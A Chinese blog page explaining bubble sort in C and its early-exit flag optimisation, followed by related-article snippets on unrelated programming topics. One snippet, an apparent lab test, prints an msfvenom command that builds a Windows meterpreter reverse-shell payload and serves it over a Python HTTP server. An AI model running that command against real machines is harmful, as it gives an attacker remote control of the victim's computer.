【C语言】【数据结构】冒泡排序及优化

news2024/9/22 13:33:21

一、算法思想

        冒泡排序是一种简单的排序算法。一次从前往后地走访待排序的元素序列被称为一趟,每一趟都会把相邻的两个元素的错误顺序交换,将当前趟次中最大或者最小的元素像“冒泡泡”一样冒到最后面,反复地走访元素序列,直到所有元素都排好序。

二、举例

        待排序列:3,1,7,5,8,9,0,2,4,6

        排序规则:从小到大

        第一趟:

        3 比 1 大,交换。   

        3 比 7 小,不动。

        第一趟完成,最大数 9 被冒到了最后面。

        第二趟:

        第二趟完成,最大数 8 被冒到了倒数第二个。

        。。。。。。

        此次类推,直到所有元素排序完成。

三、代码及运行结果

四、算法优化

        如果待排序列为:1,0,2,3,4,5,6,7,8,9

        在第一躺结束后,所有元素就已经排序好,后面还有很多趟是没有必要执行的,所以我们需要优化冒泡排序算法。每趟设置一个标记 flag 初始为0,表示此趟未交换顺序;一旦发生相邻元素的交换,就将 flag 置 1 。如果一趟结束后,没有发生相邻元素的交换,就表明序列已经排序完毕,结束排序。

        代码及运行结果:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1972334.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Maven 安装-从下载、安装、配置以及检查是否安装成功,最详细安装教程

以下内容参考:https://juejin.cn/post/6844903543711907848 原文标题:Maven入门,读完这篇就够了 作者:嘟嘟MD 链接:https://juejin.cn/post/6844903543711907848 来源:稀土掘金 ----- 注:所有流…

计算机组成原理——运算器ALU,移位操作

一、组合逻辑电路和时序逻辑电路 组合逻辑电路:其输出仅取决于当前输入组合,不依赖先前输出,不具备存储状态的能力 时序逻辑电路:其输出不仅取决于当前输入,还取决于先前的输出,具备存储状态的能力。 AL…

多 NodeJS 环境管理

前言 对于某个项目依赖特定版本的 NodeJS,或几个项目的 NodeJS 版本冲突时,需要在系统中安装多个版本的 NodeJS,这时可以使用一些工具来进行多个 NodeJS 的管理。 有很多类似的 NodeJS 管理工具,如 nvm, nvs, n 等,接…

【Unity】 HTFramework框架(五十四)【进阶篇】Deployment 轻量级资源部署管线

更新日期:2024年7月31日。 Github源码:[点我获取源码] 索引 Deployment 轻量级资源部署管线使用 Deployment一、创建部署配置二、编辑部署配置三、正式开始资源部署步骤一:资源打包步骤二:资源版本构建步骤三:资源版本…

学习C语言第19天(练习题)

编程题 第一题 改数字 //改数字 int gaishuzi(int * input) {int sum 0;int i 0;while (*input){int bit* input% 10;if (bit % 2 1){sum 1 * pow(10, i);i;}else{sum 0* pow(10, i);i;}*input / 10;}return sum; } int main() {int input 0;scanf("%d&quo…

域气象-大气化学在线耦合模式(WRF/Chem)在大气环境中的应用

随着我国经济快速发展,我国面临着日益严重的大气污染问题。近年来,严重的大气污染问题已经明显影响国计民生,引起政府、学界和人们越来越多的关注。大气污染是工农业生产、生活、交通、城市化等方面人为活动的综合结果,同时气象因…

嵌入式day17

尾插: 头删: 尾删: 双向链表: 循环链表: 内存泄漏(malloc 调用的节点需要手动清除) 清除: 头删效率更高,算法复杂度更低 共用体 共用体的成员,会共同占用相…

CX32L003F8P6T芯片解密程序破解

CX32L003F8P6T可替代N76E003 CX32L003是一款内嵌32位ARM Cortex-M0内核的超低功耗、Low Pin Count和宽电压工作范围(2.5V~5.5V)的微控制器,最高可运行在24MHz,内置32K/64K字节的嵌入式Flash,4K字节的SRAM,集成了12位1Msps高精度SA…

结构型设计模式:适配器/代理

结构型设计模式:适配器/代理 (qq.com)

软件测试——用例篇(下)

基于需求的设计⽅法 基于需求的设计⽅法也是总的设计测试⽤例的⽅法,在⼯作中, 我们需要参考需求⽂档/产品规格说明书来设计测试⽤例。测试⼈员接到需求之后, 要对需求进⾏分析和验证,从合理的需求中进⼀步分析细化需求&#x…

参加过奥运会的名人和一些几乎参加奥运会的名人 有很多是我们熟悉的人

Facebook创始人也参加过奥运会并获得名次 英国皇室安妮公主和伊丽莎白二世女王的外孙女扎拉廷德尔参加过奥运会 很多我们熟悉的演员也参加过奥运会的选拔 凯特琳詹纳、扎拉廷德尔、科迪辛普森、杰西卡斯普林斯汀 莱昂内尔梅西、迈克尔菲尔普斯、塞雷娜威廉姆斯和勒布朗詹姆斯…

MySQL —— 初始数据库

数据库概念 在学习数据库之前,大家保存数据要么是在程序运行期间,例如:在学习编程语言的时候,大家写过的管理系统,运用一些简单的数据结构(例如顺序表)来组织数据,可是程序一旦结束…

【图像处理】好莱坞电影里瞬间恢复模糊人像是如何实现的,是真实的技术吗?

好莱坞电影里瞬间恢复模糊人像是如何实现的,是真实的技术吗? 图片来源:论文《PULSE:Self-Supervised Photo Upsampling via Latent Space Exploration of Generative Models》 使用非常低分辨率照片和视频恢复人像高清照片的桥段&…

【前端 · 面试 】HTTP 总结(一)—— HTTP 概述

最近我在做前端面试题总结系列,感兴趣的朋友可以添加关注,欢迎指正、交流。 前端面试http总结.002.jpeg 概念 HTTP 的全称是 Hyper Text Transfer Protocol,翻译过来就是“超文本传输协议”。 HTTP 是一个简单的请求-响应协议,它通…

MSF回弹木马windows测试

windows主机地址为192.168.104.133 kali系统中使用msfvenom命令生成windows系统的回弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.104.131 LPORT12345 -f exe -o shellreverse.exe使用python3 -m http.server 9999来传递文件到windows主机中 msfco…

代码随想录算法训练营第四十九天| 42. 接雨水 、84.柱状图中最大的矩形

42. Trapping Rain Water 双指针暴力解法: 每一列雨水的高度,取决于,该列 左侧最高的柱子和右侧最高的柱子中最矮的那个柱子的高度,即: min(lHeight, rHeight) - height class Solution:def trap(self, height):if l…

华杉研发九学习日记23 多线程

华杉研发九学习日记23 java多线程 一, 线程 1.1 进程 进程就是一个程序运行的标志,是程序运行的状态。 一个正在运行的程序就是一个进程。进程是操作系统资源分配(计算资源,比如CPU,存储:内存)的最小单…

Day5

BootStrap 这个玩意可以理解为,已经写好的css样式的封装。 在开发中,如果需要用到这个, 首先得下载下来 找到官网,Bootstrap中文网 (bootcss.com) 这里我下载的是最新版的v5, 解压后,把该文件夹放进项目…

计算机三级嵌入式笔记(四)——嵌入式系统软件

目录 考点1 嵌入式软件的特点 考点2 嵌入式系统的软件结构 考点3 硬件抽象层与板级支持包 考点4 引导加载程序 考点5 嵌入式系统的设备驱动程序 考点6 实时系统与实时操作系统 考点7 嵌入式操作系统概述 考点8 Linux 内核 考点9 嵌入式 Linux 操作系统 考点10 Androi…

C语言自定义类型结构体与位段超详解

文章目录 1. 结构体类型的声明1. 1 结构体声明1. 2 结构体变量的创建和初始化1. 3 结构体的特殊声明1. 3 结构体的自引用 2. 结构体内存对齐2. 1 对齐规则2. 2 为什么存在内存对齐2. 3 修改默认对齐数 3. 结构体传参4. 结构体实现位段4. 1 什么是位段4. 2 位段成员的内存分配4.…